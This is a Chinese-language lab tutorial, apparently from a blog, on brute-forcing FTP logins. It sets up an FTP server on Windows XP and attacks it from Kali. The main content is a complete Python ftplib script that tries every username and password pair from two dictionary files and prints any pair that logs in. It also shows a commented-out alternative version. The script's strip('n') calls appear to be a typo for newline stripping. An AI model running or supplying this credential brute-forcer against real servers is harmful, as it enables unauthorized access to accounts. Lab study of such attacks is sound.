破解实验
1.在Window XP系统上安装简单ftp server
2.打开ftp server,设置用户名、密码
可以在kali上看到
3.在kali上准备两个字典一个脚本
第一个字典:自己创建一个用户名字典 第二个字典:密码字典
4.查看ip地址
5.编写程序
import ftplib
import sys
#判断输入参数个数是否正确
if len(sys.argv) != 4:
print("参数错误:正确形式为:python FTP_pojie.py ip地址 用户字典路径 密码字典路径")
sys.exit()
FTPSever = sys.argv[1]
userDict = sys.argv[2]
passDict = sys.argv[3]
#定义登录FTP函数
def login(FTPServer,userName,password):
"""
:param FTPServer: FTPServer的IP 地址
:param userName: 用户
:param password: 密码
"""
try:
f = ftplib.FTP(FTPServer)
f.connect(FTPServer,21,timeout=10.0)
f.login(userName,password)
f.retrlines("LIST")
f.quit()
print(f"用户名是{userName},密码是{password}")
except ftplib.all_errors:
pass
#读取两个字典,遍历每个字典的用户名和密码值,调用登录FTP函数,将遍历到的内容传递给函数,实现登录服务器
with open(userDict,'r')as userFile:
for user in userFile.readlines():
with open(passDict,'r')as passFile:
for passwd in passFile.readlines():
username = user.strip('n')
passwd = passwd.strip('n')
login(FTPSever,username,passwd)
#或者 两个都能实现
# userName = open(userDict,'r') #先打开了用户名的字典
#
#
# for user in userName.readlines():#读取字典的全部内容,然后按照行的形式,进行切割
# passWordFile = open(passDict, 'r') # 再打开密码的字典
# for passwd in passWordFile.readlines():
# un = user.strip('n')
# pw = passwd.strip('n')
# login(FTPSever,un,pw)
# passWordFile.close()
#
# userName.close()
6.将程序拖到kali,且将 user.txt passwd.txt 在同一路径下
7.进行破解



